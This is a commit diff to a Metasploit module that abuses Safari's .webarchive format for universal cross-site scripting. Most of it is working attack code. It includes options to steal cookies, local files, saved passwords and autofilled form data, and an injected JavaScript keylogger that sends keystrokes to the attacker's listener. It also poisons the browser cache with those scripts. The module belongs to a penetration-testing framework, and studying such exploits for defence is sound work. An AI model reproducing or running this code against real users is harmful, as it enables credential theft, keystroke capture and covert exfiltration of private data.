Skip to content

Commit bf6b1b4

Browse files
author
Tod Beardsley
committed
Land rapid7#1773, fixes for Safari UXSS
Makes the module more user-friendly, doesn't barf on malformed paths for keystroke logger catching.
2 parents 5e2634f + c27245e commit bf6b1b4

File tree

1 file changed

+62
-38
lines changed

1 file changed

+62
-38
lines changed

modules/auxiliary/gather/apple_safari_webarchive_uxss.rb

Lines changed: 62 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -24,8 +24,9 @@ def initialize(info = {})
2424
in Safari's .webarchive file format. The format allows you to
2525
specify both domain and content, so we can run arbitrary script in the
2626
context of any domain. This allows us to steal cookies, file URLs, and saved
27-
passwords from any website we want. On sites that link to cached javascripts,
28-
we can poison the user's browser cache and install keyloggers.
27+
passwords from any website we want -- in other words, it is a universal
28+
cross-site scripting vector (UXSS). On sites that link to cached javascripts,
29+
we can additionally poison user's browser cache and install keyloggers.
2930
},
3031
'License' => MSF_LICENSE,
3132
'Author' => 'joev',
@@ -47,16 +48,14 @@ def initialize(info = {})
4748
register_options(
4849
[
4950
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']),
50-
OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
51+
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http//browserscan.rapid7.com/']),
52+
OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']),
5153
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
5254
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
5355
OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]),
54-
OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache "+
55-
"with a javascript keylogger.", true]),
56+
OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]),
5657
OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]),
57-
58-
OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for"+
59-
" stealing form data.", true])
58+
OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true])
6059
],
6160
self.class)
6261
end
@@ -76,7 +75,7 @@ def cleanup
7675
super
7776
# clear my resource, deregister ref, stop/close the HTTP socket
7877
begin
79-
@http_service.remove_resource("/grab")
78+
@http_service.remove_resource(collect_data_uri)
8079
@http_service.deref
8180
@http_service.stop
8281
@http_service.close
@@ -140,7 +139,7 @@ def start_http(opts={})
140139
'Proc' => Proc.new { |cli, req|
141140
on_request_uri(cli, req)
142141
},
143-
'Path' => "/grab"
142+
'Path' => collect_data_uri
144143
}.update(opts['Uri'] || {})
145144

146145
proto = (datastore["SSL"] ? "https" : "http")
@@ -163,7 +162,7 @@ def start_http(opts={})
163162
def on_request_uri(cli, request)
164163
begin
165164
data = if request.body.size > 0
166-
request.body
165+
request.body
167166
else
168167
request.qstring['data']
169168
end
@@ -186,7 +185,7 @@ def webarchive_xml
186185
def webarchive_header
187186
%Q|
188187
<?xml version="1.0" encoding="UTF-8"?>
189-
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
188+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
190189
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
191190
<plist version="1.0">
192191
<dict>
@@ -254,7 +253,6 @@ def webarchive_resources_for_poisoning_cache(url)
254253
scripts = scripts_to_poison[url_idx] || []
255254
xml_dicts = scripts.map do |script|
256255
script_body = inject_js_keylogger(script[:body])
257-
puts
258256
%Q|
259257
<dict>
260258
<key>WebResourceData</key>
@@ -293,8 +291,8 @@ def web_response_xml(script)
293291
# this is a binary plist, but im too lazy to write a real encoder.
294292
# ripped this straight out of a safari webarchive save.
295293
script['content-length'] = script[:body].length
296-
whitelist = %w(content-type content-length date etag
297-
Last-Modified cache-control expires)
294+
whitelist = %w(content-type content-length date etag
295+
Last-Modified cache-control expires)
298296
headers = script.clone.delete_if { |k, v| not whitelist.include? k }
299297

300298
key_set = headers.keys.sort
@@ -612,7 +610,7 @@ def steal_form_data_for_url(url)
612610
var iframe = tryInIframe();
613611
if (#{should_pop_up?}) {
614612
window.setTimeout(function(){
615-
613+
616614
if (iframe.contentDocument &&
617615
iframe.contentDocument.location.href == 'about:blank') {
618616
tryInNewWin();
@@ -670,7 +668,7 @@ def inject_js_keylogger(original_js)
670668
data = JSON.stringify({keystrokes: keystrokes, time: time});
671669
img.src = '#{backend_url}#{collect_data_uri}?data='+data;
672670
}
673-
document.addEventListener('keydown', function(e) {
671+
document.addEventListener('keydown', function(e) {
674672
var c = String.fromCharCode(e.keyCode);
675673
if (c.length > 0) buffer += c;
676674
}, true);
@@ -715,24 +713,43 @@ def all_script_urls(pages)
715713

716714
# @return [Array<Array<String>>] list of URLs for remote javascripts that are cacheable
717715
def find_cached_scripts
718-
cached_scripts = all_script_urls(urls).map do |urls_for_site|
716+
cached_scripts = all_script_urls(urls).each_with_index.map do |urls_for_site, i|
717+
begin
718+
page_uri = URI.parse(urls[i])
719+
rescue URI::InvalidURIError => e
720+
next
721+
end
722+
719723
results = urls_for_site.uniq.map do |url|
720-
print_status "URL: #{url}"
721-
io = open url
722-
# parse some HTTP headers and do type coercions
723-
last_modified = io.last_modified
724-
expires = Time.parse(io.meta['expires']) rescue nil
725-
cache_control = io.meta['cache-control'] || ''
726-
charset = io.charset
727-
etag = io.meta['etag']
728-
# lets see if we are able to "poison" the cache for this asset...
729-
if (!expires.nil? && Time.now < expires) or
730-
(cache_control.length > 0) or # if asset is cacheable
731-
(last_modified.length > 0)
732-
print_status("Found cacheable #{url}")
733-
io.meta.merge(:body => io.read, :url => url)
734-
else
735-
nil
724+
begin
725+
print_status "URL: #{url}"
726+
begin
727+
script_uri = URI.parse(url)
728+
if script_uri.relative?
729+
url = page_uri + url
730+
end
731+
io = open(url)
732+
rescue URI::InvalidURIError => e
733+
next
734+
end
735+
736+
# parse some HTTP headers and do type coercions
737+
last_modified = io.last_modified
738+
expires = Time.parse(io.meta['expires']) rescue nil
739+
cache_control = io.meta['cache-control'] || ''
740+
charset = io.charset
741+
etag = io.meta['etag']
742+
# lets see if we are able to "poison" the cache for this asset...
743+
if (!expires.nil? && Time.now < expires) or
744+
(cache_control.length > 0) or # if asset is cacheable
745+
(not last_modified.nil? and last_modified.to_s.length > 0)
746+
print_status("Found cacheable #{url}")
747+
io.meta.merge(:body => io.read, :url => url)
748+
else
749+
nil
750+
end
751+
rescue Errno::ENOENT => e # lots of things can go wrong here.
752+
next
736753
end
737754
end
738755
results.compact # remove nils
@@ -745,7 +762,14 @@ def find_cached_scripts
745762

746763
# @return [String] the path to send data back to
747764
def collect_data_uri
748-
"/grab"
765+
path = datastore["URIPATH"]
766+
if path.nil? or path.empty?
767+
'/grab'
768+
elsif path =~ /^\//
769+
path
770+
else
771+
"/#{path}"
772+
end
749773
end
750774

751775
# @return [String] formatted http/https URL of the listener
@@ -780,9 +804,9 @@ def urls
780804
# @param [String] input the unencoded string
781805
# @return [String] input with dangerous chars replaced with xml entities
782806
def escape_xml(input)
783-
input.gsub("&", "&amp;").gsub("<", "&lt;")
784-
.gsub(">", "&gt;").gsub("'", "&apos;")
785-
.gsub("\"", "&quot;")
807+
input.to_s.gsub("&", "&amp;").gsub("<", "&lt;")
808+
.gsub(">", "&gt;").gsub("'", "&apos;")
809+
.gsub("\"", "&quot;")
786810
end
787811

788812
def should_steal_cookies?

0 commit comments

Comments
 (0)